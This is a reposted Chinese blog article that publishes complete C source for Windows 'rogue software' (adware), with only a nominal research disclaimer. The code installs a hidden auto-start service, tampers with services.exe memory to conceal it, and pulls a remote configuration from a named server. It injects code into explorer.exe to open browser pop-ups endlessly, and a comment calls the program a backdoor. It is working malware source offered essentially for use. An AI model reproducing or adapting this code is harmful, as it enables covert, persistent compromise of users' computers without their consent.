欢迎来到福编程网,本站提供各种互联网专业知识!

弹窗口的流氓软件核心代码

发布时间:2016-08-29 作者:佚名 来源:互联网
ps:请勿用于非法用途,仅供技术研究之用。by:yunshu这个东西的主要功能就是去网上一个URL读取配置文件,拿到需要弹出的窗口以及周期时间,然后开始弹……程序安装成服务,并设置为自动启动。启动之后写入一段代码到explorer.exe进程中,也就是这
ps:请勿用于非法用途,仅供技术研究之用。

by:yunshu

这个东西的主要功能就是去网上一个URL读取配置文件,拿到需要弹出的窗口以及周期时间,然后开始弹……程序安装成服务,并设置为自动启动。启动之后写入一段代码到explorer.exe进程中,也就是这里在弹网页,然后将服务停止。

我写的代码没什么技术含量,唯一的是使用了我们team的zzzevazzz的隐藏服务代码,最开始他是发在ph4nt0m的核心区的。不过他已经在自己的blog写过,所以我发出来也没问题了。

这个是主函数,安装,读取配置,注入代码用的。

代码:

/**************************************************************************************************

* 1. 给XX作的流氓软件

* 2. 隐藏服务是copy的EVA的代码,修改Services.exe进程内存。

**************************************************************************************************/

#include

#include

#include

#include

#include

// 是否记录日志

//#define DEBUG

#ifdef DEBUG

#define DEBUG_LOG "c:debug.txt"

// 日志记录函数

void LogToFile( WCHAR * );

#endif

#include "ControlService.h"

#include "HideService.h"

#include "CustomFunction.h"

#pragma comment (lib, "Advapi32.lib")

#pragma comment (lib, "Shell32.lib")

#pragma comment (lib, "ws2_32.lib")

#pragma comment (lib, "User32.lib")

#define REMOTE_FUNC_LENGTH 1024 * 10 // 拷贝的长度

#define TARGET_PROCESS L"explorer.exe" // 要注入代码的目标进程

#define CONFIG_HOST "www.icylife.net" // 读取配置信息的服务器

#define CONFIG_PATH "/url.txt" // 配置信息在配置服务器的路径

#define IE_PATH "C:Program FilesInternet Exploreriexplore.exe"

#define DEFAULT_URL "http://www.he100.com" // 默认弹出的窗口

#define DEFAULT_SLEEP_TIME 30 * 60 * 1000 // 默认弹出窗口的间隔时间

// 宏,转换字符串为unicode

#define MULTI_TO_WIDE( x, y ) MultiByteToWideChar( CP_ACP, MB_PRECOMPOSED,y,-1,x,_MAX_PATH );

// 弹出窗口之间的间隔时间

int sleep_time;

// 弹出的url地址

char url_path[512] = { 0 };

/**************************************************************************************************

* 函数原形

**************************************************************************************************/

void ServiceMain( DWORD, char **); //服务入口

BOOL SetDebugPrivilege( ); //获取debug权限

DWORD GetProcessIdByName(WCHAR * ); //获取进程的PID

void InjectCode( ); //写代码到远程进程

void GetConfig( ); //更新配置,获取要弹出的地址和弹出间隔时间

/**************************************************************************************************

* 程序入口,主函数

**************************************************************************************************/

int WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow )

{

WCHAR filePath[MAX_PATH] = { 0 }; //程序本身路径

SERVICE_TABLE_ENTRY serviceTable[2];

serviceTable[0].lpServiceName = SERVICE_NAME;

serviceTable[0].lpServiceProc = ( LPSERVICE_MAIN_FUNCTION )ServiceMain;

serviceTable[1].lpServiceName = NULL;

serviceTable[1].lpServiceProc = NULL;

GetModuleFileName( NULL, filePath, MAX_PATH );

// 如果服务未安装,安装

if( !ServiceExists( filePath ) )

{

if( ServiceInstall( filePath ) != TRUE )

{

return -1;

}

else

{

return 0;

}

}

if( !StartServiceCtrlDispatcher( serviceTable ) )

{

#ifdef DEBUG

WCHAR tmp[256] = { 0 };

wsprintf( tmp, L"Main StartServiceCtrlDispatcher error: %dn", GetLastError() );

LogToFile( tmp );

#endif

return -1;

}

return 0;

}

/**************************************************************************************************

* 服务入口

**************************************************************************************************/

void ServiceMain( DWORD argc, char *argv[] )

{

serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;

serviceStatus.dwCurrentState = SERVICE_START_PENDING;

serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;

serviceStatus.dwWin32ExitCode = 0;

serviceStatus.dwServiceSpecificExitCode = 0;

serviceStatus.dwCheckPoint = 0;

serviceStatus.dwWaitHint = 0;

#ifdef DEBUG

LogToFile( L"ServiceMain: Try to register servicen" );

#endif

hServiceStatus = RegisterServiceCtrlHandler( SERVICE_NAME, (LPHANDLER_FUNCTION)ServiceControl );

if( hServiceStatus == (SERVICE_STATUS_HANDLE)0 )

{

#ifdef DEBUG

WCHAR tmp[256] = { 0 };

wsprintf( tmp, L"ServiceMain: Register service error: %dn", GetLastError() );

LogToFile( tmp );

#endif

return;

}

serviceStatus.dwCurrentState = SERVICE_RUNNING;

serviceStatus.dwCheckPoint = 0;

serviceStatus.dwWaitHint = 0;

if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )

{

#ifdef DEBUG

WCHAR tmp[256] = { 0 };

swprintf( tmp, L"ServiceMain: Start service error: %dn", GetLastError() );

LogToFile( tmp );

#endif

return;

}

#ifdef DEBUG

LogToFile( L"ServiceMain: Start service okn" );

#endif

// 隐藏服务

HideService( SERVICE_NAME );

// 从网络读取配置

GetConfig( );

// 注入代码

InjectCode( );

serviceStatus.dwCurrentState = SERVICE_STOPPED;

if( !SetServiceStatus( hServiceStatus, &serviceStatus) )

{

#ifdef DEBUG

WCHAR tmp[256] = { 0 };

wsprintf( tmp, L"ServiceMain: Stop service error: %dn", GetLastError() );

LogToFile( tmp );

#endif

}

#ifdef DEBUG

LogToFile( L"Stop service in main.n" );

#endif

#ifdef DEBUG

LogToFile( L"ServiceMain Done.n" );

#endif

return;

}

void InjectCode( )

{

if( ! SetDebugPrivilege() )

{

#ifdef DEBUG

LogToFile( L"Set Debug Privileges error.n" );

#endif

return;

}

DWORD dwPID = -1;

while( 1 )

{

dwPID = GetProcessIdByName( TARGET_PROCESS );

if( -1 != dwPID )

{

#ifdef DEBUG

WCHAR tmp[256] = { 0 };

wsprintf( tmp, L"Target process id is %dn", dwPID );

LogToFile( tmp );

#endif

break;

}

#ifdef DEBUG

LogToFile( L"Target process not found, sleep and continue.n" );

#endif

Sleep( 30 * 1000 );

}

Sleep( 2 * 60 * 1000 );

// 打开进程

HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPID );

if( ! hProcess )

{

#ifdef DEBUG

LogToFile( L"OpenProcess error.n" );

#endif

return;

}

//计算LoadLibraryA和GetProcAddress的入口地址,这两个函数由kernel32.dll导出,在各进程中不变

Arguments arguments;

memset( (void *)&arguments, 0, sizeof(Arguments) );

HMODULE hKernel = GetModuleHandleA( "kernel32" );

if( hKernel == NULL )

{

#ifdef DEBUG

LogToFile( L"GetModuleHandle kernel32.dll error.n" );

#endif

return;

}

arguments.MyLoadLibrary = GetProcAddress( hKernel, "LoadLibraryA" );

arguments.MyGetAddress = GetProcAddress( hKernel, "GetProcAddress" );

strcpy( arguments.MyKernelDll, "kernel32.dll" );

strcpy( arguments.MyProgram, IE_PATH );

strcpy( arguments.MyShellDll, "Shell32.dll" );

strcpy( arguments.MyShellExecute, "ShellExecuteA" );

strcpy( arguments.MyUrl, url_path );

strcpy( arguments.MyZeroMemory, "RtlZeroMemory" );

arguments.SleepTime = sleep_time;

// 在远程进程中分配内存存放参数,可写权限

Arguments *remote_agrument = (Arguments *)VirtualAllocEx( hProcess,

0,

sizeof(Arguments),

MEM_COMMIT,

PAGE_READWRITE );

if( !remote_agrument )

{

#ifdef DEBUG

LogToFile( L"VirtualAllocEx for arguments error.n" );

#endif

return;

}

#ifdef DEBUG

WCHAR tmp[256] = { 0 };

wsprintf( tmp, L"Remote Arguments' addr: 0x%08xn", (DWORD)remote_agrument );

LogToFile( tmp );

#endif

// 将参数写入远程进程内存

int bytes_write;

if( !WriteProcessMemory( hProcess, (LPVOID)remote_agrument, (LPVOID)&arguments, sizeof(Arguments), (SIZE_T *)&bytes_write) )

{

#ifdef DEBUG

LogToFile( L"WriteProcessMemory for arguments error.n" );

#endif

return;

}

// 在远程进程中分配内存存放代码,可执行权限

LPVOID remote_func = VirtualAllocEx( hProcess,

0,

REMOTE_FUNC_LENGTH,

MEM_COMMIT,

PAGE_EXECUTE_READWRITE );

if( !remote_func )

{

#ifdef DEBUG

LogToFile( L"VirtualAllocEx for function error.n" );

#endif

return;

}

#ifdef DEBUG

memset( tmp, 0, sizeof(tmp) );

wsprintf( tmp, L"Remote Function Address: 0x%08xn", remote_func );

LogToFile( tmp );

#endif

// 将代码写入远程进程内存

if( !WriteProcessMemory( hProcess, (LPVOID)remote_func, (LPVOID)&CustomFunction, REMOTE_FUNC_LENGTH, (SIZE_T *)&bytes_write) )

{

#ifdef DEBUG

LogToFile( L"WriteProcessMemory for function error.n" );

#endif

return;

}

#ifdef DEBUG

memset( tmp, 0, sizeof(tmp) );

wsprintf( tmp, L"WriteProcessMemory for function %d bytesn", bytes_write );

LogToFile( tmp );

#endif

HANDLE remote_thread = CreateRemoteThread( hProcess, 0, 0, (LPTHREAD_START_ROUTINE)remote_func, remote_agrument, 0, 0 );

if ( !remote_thread )

{

#ifdef DEBUG

LogToFile( L"CreateRemoteThread for function error.n" );

#endif

return;

}

#ifdef DEBUG

LogToFile( L"CreateRemoteThread for function okn" );

#endif

/*

WaitForSingleObject( remote_thread, INFINITE );

if( NULL != remote_func )

{

VirtualFreeEx( hProcess, remote_func, REMOTE_FUNC_LENGTH, MEM_RELEASE );

#ifdef DEBUG

LogToFile( L"VirtualFreeEx for remote_func.n" );

#endif

}

if( NULL != remote_agrument )

{

VirtualFreeEx( hProcess, remote_agrument, sizeof (Arguments), MEM_RELEASE);

#ifdef DEBUG

LogToFile( L"VirtualFreeEx for remote_agrument.n" );

#endif

}

if( NULL != remote_thread )

{

CloseHandle( remote_thread );

#ifdef DEBUG

LogToFile( L"CloseHandle for remote_thread.n" );

#endif

}

if( NULL != hProcess )

{

CloseHandle( hProcess );

#ifdef DEBUG

LogToFile( L"CloseHandle for hProcess.n" );

#endif

}

*/

return;

}

void GetConfig( )

{

#ifdef DEBUG

WCHAR tmp[256] = { 0 };

#endif

WSAData wsa;

struct sockaddr_in sin;

memset( &sin, 0, sizeof(struct sockaddr_in) );

if( WSAStartup( 0x0202, &wsa ) != 0 )

{

#ifdef DEBUG

memset( tmp, 0, sizeof(tmp) );

wsprintf( tmp, L"WSAStartup error: %dn", GetLastError() );

LogToFile( tmp );

#endif

goto getconfig_error;

}

struct hostent *phost = gethostbyname( CONFIG_HOST );

if( phost == NULL )

{

#ifdef DEBUG

memset( tmp, 0, sizeof(tmp) );

wsprintf( tmp, L"Resolv config host name error: %dn", GetLastError() );

LogToFile( tmp );

#endif

WSACleanup( );

goto getconfig_error;

}

memcpy( &sin.sin_addr , phost->h_addr_list[0] , phost->h_length );

sin.sin_family = AF_INET;

sin.sin_port = htons( 80 );

#ifdef DEBUG

memset( tmp, 0, sizeof(tmp) );

WCHAR ip[256] = { 0 };

MULTI_TO_WIDE( ip, inet_ntoa( sin.sin_addr ));

wsprintf( tmp, L"Resolv config host name ok: %sn",ip );

LogToFile( tmp );

#endif

SOCKET sock = socket( AF_INET , SOCK_STREAM , 0 );

if( sock == INVALID_SOCKET )

{

#ifdef DEBUG

memset( tmp, 0, sizeof(tmp) );

wsprintf( tmp, L"Connect to %s:%s error: n", ip, 80, GetLastError() );

LogToFile( tmp );

#endif

WSACleanup( );

goto getconfig_error;

}

int ret = connect( sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in) );

if( SOCKET_ERROR == ret )

{

#ifdef DEBUG

memset( tmp, 0, sizeof(tmp) );

wsprintf( tmp, L"Connect error: %dn", GetLastError() );

LogToFile( tmp );

#endif

closesocket( sock );

WSACleanup( );

goto getconfig_error;

}

char send_buff[512] = { 0 };

sprintf( send_buff, "GET %s HTTP/1.1rnHost: %srnAccept: */*rnrn", CONFIG_PATH, CONFIG_HOST );

#ifdef DEBUG

memset( tmp, 0, sizeof(tmp) );

WCHAR tmp2[256] = { 0 };

MULTI_TO_WIDE( tmp2, send_buff );

wsprintf( tmp, L"Send request to get config:n %sn", tmp2 );

LogToFile( tmp );

#endif

ret = send( sock, send_buff, strlen(send_buff), 0 );

if( SOCKET_ERROR == ret )

{

#ifdef DEBUG

memset( tmp, 0, sizeof(tmp) );

wsprintf( tmp, L"Send request error: %dn", GetLastError() );

LogToFile( tmp );

#endif

closesocket( sock );

WSACleanup( );

goto getconfig_error;

}

#ifdef DEBUG

LogToFile( L"Send request ok!n" );

#endif

char recv_buff[1024] = { 0 };

recv( sock, recv_buff, 1000, 0 );

if( !recv_buff )

{

closesocket( sock );

WSACleanup( );

goto getconfig_error;

}

closesocket( sock );

WSACleanup( );

char *content = strstr( recv_buff, "rnrn" );

if( !content )

{

goto getconfig_error;

}

content += strlen("rnrn");

#ifdef DEBUG

memset( tmp, 0, sizeof(tmp) );

WCHAR c[256] = { 0 };

MULTI_TO_WIDE( c, content );

wsprintf( tmp, L"Config content is:n%sn", c );

LogToFile( tmp );

#endif

char *split_flag = strstr( content, "|" );

if( !split_flag )

{

goto getconfig_error;

}

char tmp_time[32] = { 0 };

char tmp_url[512] = { 0 };

if( split_flag - content > 32 )

{

sleep_time = DEFAULT_SLEEP_TIME;

}

else

{

strncpy( tmp_time, content, split_flag - content );

sleep_time = atoi( tmp_time );

}

if( strlen( split_flag ) >= 512 )

{

strcpy( url_path, DEFAULT_URL );

}

else

{

strcpy( url_path, split_flag + 1 );

}

return;

getconfig_error:

sleep_time = DEFAULT_SLEEP_TIME;

strcpy( url_path, DEFAULT_URL );

return;

}

/**************************************************************************************************

* 记录日志函数

**************************************************************************************************/

#ifdef DEBUG

void LogToFile( WCHAR *str )

{

FILE *fp;

fp = fopen( DEBUG_LOG, "a" );

fwprintf( fp, L"%sn", str );

fclose( fp );

}

#endif

这个是隐藏服务用的,修改了services.exe文件,可能有一定的危险性。

代码:

// yunshu(pst) Copy from zzzevazzz(pst)'s code

// 几个Undocument的结构

typedef struct _SC_SERVICE_PROCESS SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;

typedef struct _SC_DEPEND_SERVICE SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;

typedef struct _SC_SERVICE_RECORD SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;

typedef struct _SC_SERVICE_PROCESS

{

PSC_SERVICE_PROCESS Previous;

PSC_SERVICE_PROCESS Next;

WCHAR *ImagePath;

DWORD Pid;

DWORD NumberOfServices;

// ...

} SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;

typedef struct _SC_DEPEND_SERVICE

{

PSC_DEPEND_SERVICE Next;

DWORD Unknow;

PSC_SERVICE_RECORD Service;

// ...

} SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;

typedef struct _SC_SERVICE_RECORD

{

PSC_SERVICE_RECORD Previous;

PSC_SERVICE_RECORD Next;

WCHAR *ServiceName;

WCHAR *DisplayName;

DWORD Index;

DWORD Unknow0;

DWORD sErv;

DWORD ControlCount;

DWORD Unknow1;

PSC_SERVICE_PROCESS Process;

SERVICE_STATUS Status;

DWORD StartType;

DWORD ErrorControl;

DWORD TagId;

PSC_DEPEND_SERVICE DependOn;

PSC_DEPEND_SERVICE Depended;

// ...

} SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;

BOOL SetDebugPrivilege()

{

BOOL bRet = FALSE;

HANDLE hToken = NULL;

LUID luid;

TOKEN_PRIVILEGES tp;

if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) &&

LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))

{

tp.PrivilegeCount = 1;

tp.Privileges[0].Luid = luid;

tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);

}

if (hToken) CloseHandle(hToken);

return bRet;

}

DWORD GetProcessIdByName(WCHAR *Name)

{

BOOL bRet = FALSE;

HANDLE hProcessSnap = NULL;

PROCESSENTRY32 pe32 = { 0 };

DWORD Pid = -1;

hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (INVALID_HANDLE_VALUE == hProcessSnap) return -1;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (Process32First(hProcessSnap, &pe32))

{

do

{

if ( !_wcsicmp(pe32.szExeFile, Name ) )

{

Pid = pe32.th32ProcessID;

break;

}

}

while (Process32Next(hProcessSnap, &pe32));

}

CloseHandle(hProcessSnap);

return Pid;

}

// 修改内存属性为指定值

void ProtectWriteDword(HANDLE hProcess, DWORD *Addr, DWORD Value)

{

MEMORY_BASIC_INFORMATION mbi;

DWORD dwOldProtect, dwWritten;

VirtualQueryEx(hProcess, Addr, &mbi, sizeof(mbi));

VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_READWRITE, &mbi.Protect);

WriteProcessMemory(hProcess, Addr, &Value, sizeof(DWORD), &dwWritten);

VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect);

}

//寻找服务链表

PSC_SERVICE_RECORD FindFirstServiceRecord(HANDLE hProcess)

{

WCHAR FileName[MAX_PATH+1];

HANDLE hFile, hFileMap;

UCHAR * pMap;

DWORD dwSize, dwSizeHigh, i, dwRead;

SC_SERVICE_RECORD SvcRd, *pSvcRd, *pRet = NULL;

GetSystemDirectory( FileName, MAX_PATH );

wcscat( FileName, L"Services.exe");

hFile = CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ,

NULL, OPEN_EXISTING, 0, NULL);

if (INVALID_HANDLE_VALUE == hFile) return NULL;

dwSizeHigh = 0;

dwSize = GetFileSize(hFile, &dwSizeHigh);

hFileMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);

if (NULL == hFileMap) return NULL;

pMap = (UCHAR*)MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 0);

if (NULL == pMap) return NULL;

dwSize -= 12;

for (i=0; i

{

// 搜索services!ScGetServiceDatabase特征代码

if (*(DWORD*)(pMap+i) == 0xa1909090 &&

*(DWORD*)(pMap+i+8) == 0x909090c3)

{

#ifdef DEBUG

WCHAR tmpBuffer[256] = { 0 };

wsprintf( tmpBuffer, L"map is 0x%08xn", (DWORD *)(pMap+i) );

LogToFile( tmpBuffer );

#endif

if (ReadProcessMemory(hProcess, *(PVOID*)(pMap+i+4), &pSvcRd, sizeof(PVOID), &dwRead) &&

ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&

SvcRd.sErv == 'vrEs') // ServiceRecord结构的特征

{

pRet = pSvcRd;

#ifdef DEBUG

WCHAR tmpBuffer[256] = { 0 };

wsprintf( tmpBuffer, L"pRet is 0x%08xn", (DWORD *)(pSvcRd) );

LogToFile( tmpBuffer );

#endif

break;

}

}

}

UnmapViewOfFile(pMap);

CloseHandle(hFileMap);

CloseHandle(hFile);

//printf( "addr: 0x%08xn", (DWORD *)pRet );

return pRet;

}

// 隐藏服务

BOOL HideService( WCHAR *Name )

{

DWORD Pid;

HANDLE hProcess;

SC_SERVICE_RECORD SvcRd, *pSvcRd;

DWORD dwRead, dwNameSize;

WCHAR SvcName[MAX_PATH] = { 0 };

dwNameSize = ( wcslen(Name) + 1 ) * sizeof(WCHAR);

if (dwNameSize > sizeof(SvcName)) return FALSE;

Pid = GetProcessIdByName( TEXT("Services.exe") );

#ifdef DEBUG

WCHAR tmpBuffer1[256] = { 0 };

wsprintf( tmpBuffer1, L"Pid is %dn", Pid );

LogToFile( tmpBuffer1 );

#endif

if (Pid == -1) return FALSE;

if( ! SetDebugPrivilege() ) return FALSE;

hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);

if (NULL == hProcess) return FALSE;

pSvcRd = FindFirstServiceRecord(hProcess);

if (NULL == pSvcRd)

{

#ifdef DEBUG

LogToFile( L"Can't Find ServiceDatabase.n" );

#endif

CloseHandle(hProcess);

return FALSE;

}

do

{

if (ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&

ReadProcessMemory(hProcess, SvcRd.ServiceName, SvcName, dwNameSize, &dwRead))

{

// 匹配服务名

if ( 0 == _wcsicmp(SvcName, Name) )

{

// 从链表中断开(一般来说ServiceRecord是可写的,但还是先改保护属性以防万一)

ProtectWriteDword(hProcess, (DWORD *)SvcRd.Previous+1, (DWORD)SvcRd.Next);

ProtectWriteDword(hProcess, (DWORD *)SvcRd.Next, (DWORD)SvcRd.Previous);

#ifdef DEBUG

WCHAR tmpBuffer2[256] = { 0 };

wsprintf( tmpBuffer2, L"The Service "%s" Is Hidden Successfully.n", Name );

LogToFile( tmpBuffer1 );

#endif

CloseHandle(hProcess);

return TRUE;

}

}

else

{

break;

}

}

while (pSvcRd = SvcRd.Next);

if( NULL != hProcess )

{

CloseHandle(hProcess);

}

return FALSE;

}

这个是注入到explorer.exe进程中的代码,大部分参数是写内存写进去的,有少部分实在懒得搞了,用了一点汇编。

typedef struct _Arguments

{

char MyUrl[512];

char MyProgram[512];

FARPROC MyLoadLibrary;

FARPROC MyGetAddress;

char MyKernelDll[32];

char MyShellDll[32];

char MyZeroMemory[32];

char MyShellExecute[32];

DWORD SleepTime;

}Arguments;

/**************************************************************************************************

* WINAPI函数原形

**************************************************************************************************/

typedef HMODULE (__stdcall *LOADLIBRARYA)( IN char* lpFileName );

typedef FARPROC (__stdcall *GETPROCADDRESS)( IN HMODULE hModule, IN char* lpProcName );

typedef void (__stdcall *ZEROMEMORY)( IN PVOID Destination, IN SIZE_T Length );

void __stdcall CustomFunction( LPVOID my_arguments )

{

Arguments *func_args = (Arguments *)my_arguments;

LOADLIBRARYA LoadLibraryA = (LOADLIBRARYA)func_args->MyLoadLibrary;

GETPROCADDRESS GetProcAddress = (GETPROCADDRESS)func_args->MyGetAddress;

HMODULE h_kernel = LoadLibraryA( func_args->MyKernelDll );

HMODULE h_shell = LoadLibraryA( func_args->MyShellDll );

ZEROMEMORY ZeroMemory = (ZEROMEMORY)GetProcAddress( h_kernel, func_args->MyZeroMemory );

DWORD MyShellExecuteA = (DWORD)GetProcAddress( h_shell, func_args->MyShellExecute );

DWORD MySleep;

DWORD sleep_time = func_args->SleepTime;

__asm

{

push eax

push esp

sub esp, 6

mov byte ptr [esp], 'S'

mov byte ptr [esp+1], 'l'

mov byte ptr [esp+2], 'e'

mov byte ptr [esp+3], 'e'

mov byte ptr [esp+4], 'p'

mov byte ptr [esp+5], ''

lea eax, [esp]

push eax

push h_kernel

call GetProcAddress

mov MySleep, eax

add esp, 6

pop esp

pop eax

}

while( 1 )

{

__asm

{

push eax

push esp

push ecx

push ebx

sub esp, 256

mov byte ptr [esp], 'o'

mov byte ptr [esp+1], 'p'

mov byte ptr [esp+2], 'e'

mov byte ptr [esp+3], 'n'

mov byte ptr [esp+4], ''

lea ebx, [esp]

push SW_SHOWMAXIMIZED

push 0

push func_args

mov ecx, func_args

add ecx, 200h

lea eax, [ecx]

push eax

push ebx

push 0

call MyShellExecuteA

add esp, 256

pop ebx

pop ecx

pop esp

pop eax

push sleep_time

call MySleep

}

}

}

这个是控制服务的,正常的服务程序都有的代码,流氓软件应该不接受停止服务请求。

代码:

/**************************************************************************************************

* 全局变量

**************************************************************************************************/

#define SERVICE_NAME L"LemonTree"

#define SERVICE_DESCRIPTION L"LemonTree"

#define SERVICE_DISPLAY_NAME L"LemonTree"

SERVICE_STATUS serviceStatus;

SERVICE_STATUS_HANDLE hServiceStatus;

BOOL ServiceInstall( WCHAR * ); //安装服务

BOOL ServiceUnstall( WCHAR * ); //删除服务

void ServiceControl( DWORD ); //控制服务

BOOL ServiceExists( WCHAR * ); //判断服务是否存在

/***********************************************************************************

* 安装服务

* 参数:主程序全路径

* 返回:成功返回TRUE,否则为FALSE

***********************************************************************************/

BOOL ServiceInstall( WCHAR *exeFilePath )

{

WCHAR tmpPath[MAX_PATH] = { 0 };

HKEY key;

SC_HANDLE serviceMangerHandle = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE );

if ( serviceMangerHandle == 0 )

{

printf( "Install: Open services manager database error: %dn", GetLastError() );

return FALSE;

}

SC_HANDLE serviceHandle = CreateService

(

serviceMangerHandle ,

SERVICE_NAME ,

SERVICE_DISPLAY_NAME ,

SERVICE_ALL_ACCESS ,

SERVICE_WIN32_OWN_PROCESS ,

SERVICE_AUTO_START ,

SERVICE_ERROR_NORMAL ,

exeFilePath ,

NULL ,

NULL ,

NULL ,

NULL ,

NULL

);

if ( serviceHandle == 0 )

{

printf( "Create service error: %dn", GetLastError() );

CloseServiceHandle( serviceMangerHandle );

return FALSE;

}

wcscpy( tmpPath, L"SYSTEMCurrentControlSetServices" );

wcscat( tmpPath, SERVICE_NAME );

if( RegOpenKey( HKEY_LOCAL_MACHINE, tmpPath, &key ) != ERROR_SUCCESS )

{

printf( "Open key %s error: %dn", tmpPath, GetLastError() );

return FALSE;

}

RegSetValueEx( key, L"Description", 0, REG_SZ, (BYTE *)SERVICE_DESCRIPTION, wcslen(SERVICE_DESCRIPTION) );

RegCloseKey(key);

if( !StartService( serviceHandle, 0, 0 ) )

{

printf( "Install service ok, but start it error: %dn", GetLastError() );

}

else

{

printf( "Install service ok, start it ok.n" );

}

CloseServiceHandle( serviceHandle );

CloseServiceHandle( serviceMangerHandle );

return TRUE;

}

/**************************************************************************************************

* 删除服务

**************************************************************************************************/

BOOL ServiceUnstall( WCHAR *serviceName )

{

SC_HANDLE scmHandle = OpenSCManager (NULL, NULL, SC_MANAGER_ALL_ACCESS);

if ( scmHandle == NULL )

{

return FALSE;

}

SC_HANDLE scHandle = OpenService( scmHandle, serviceName, SERVICE_ALL_ACCESS );

if( scHandle == NULL )

{

CloseServiceHandle( scmHandle );

return FALSE;

}

DeleteService( scHandle );

CloseServiceHandle( scHandle );

CloseServiceHandle( scmHandle );

return TRUE;

}

/**************************************************************************************************

* 服务控制函数

**************************************************************************************************/

void ServiceControl( DWORD request )

{

#ifdef DEBUG

LogToFile( L"ServiceControl: Into ServiceControln" );

#endif

switch ( request )

{

case SERVICE_CONTROL_PAUSE:

serviceStatus.dwCurrentState = SERVICE_PAUSED;

break;

case SERVICE_CONTROL_CONTINUE:

serviceStatus.dwCurrentState = SERVICE_RUNNING;

break;

case SERVICE_CONTROL_STOP:

#ifdef DEBUG

LogToFile( L"ServiceControl: Try to stop servicen" );

#endif

serviceStatus.dwWin32ExitCode = 0;

serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;

serviceStatus.dwCheckPoint = 0;

serviceStatus.dwWaitHint = 0;

break;

case SERVICE_CONTROL_INTERROGATE:

break;

default:

#ifdef DEBUG

LogToFile( L"ServiceControl: Error argumentsn" );

#endif

break;

}

if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )

{

#ifdef DEBUG

WCHAR tmp[256] = { 0 };

wsprintf( tmp, L"ServiceMain: Control service error: %dn", GetLastError() );

LogToFile( tmp );

#endif

}

return;

}

BOOL ServiceExists( WCHAR *path )

{

WCHAR tmpPath[MAX_PATH] = { 0 };

HKEY key;

WCHAR value[512] = { 0 };

int type = REG_EXPAND_SZ;

int size = sizeof(value);

wcscpy( tmpPath, L"SYSTEMCurrentControlSetServices" );

wcscat( tmpPath, SERVICE_NAME );

if( RegOpenKeyEx( HKEY_LOCAL_MACHINE, tmpPath, 0, KEY_QUERY_VALUE, &key ) != ERROR_SUCCESS )

{

//printf( "RegOpenKeyEx Error: %dn", GetLastError() );

return FALSE;

}

if( RegQueryValueEx( key, L"ImagePath", NULL, (DWORD *)&type, (BYTE *)value, (DWORD *)&size ) != ERROR_SUCCESS )

{

//printf( "RegQueryValueEx Error: %dn", GetLastError() );

return FALSE;

}

if( key ) RegCloseKey( key );

// 如果服务的程序路径等于后门本身,表示已经安装

if( 0 == _wcsicmp( value, path ) )

{

return TRUE;

}

return FALSE;

}

相关推荐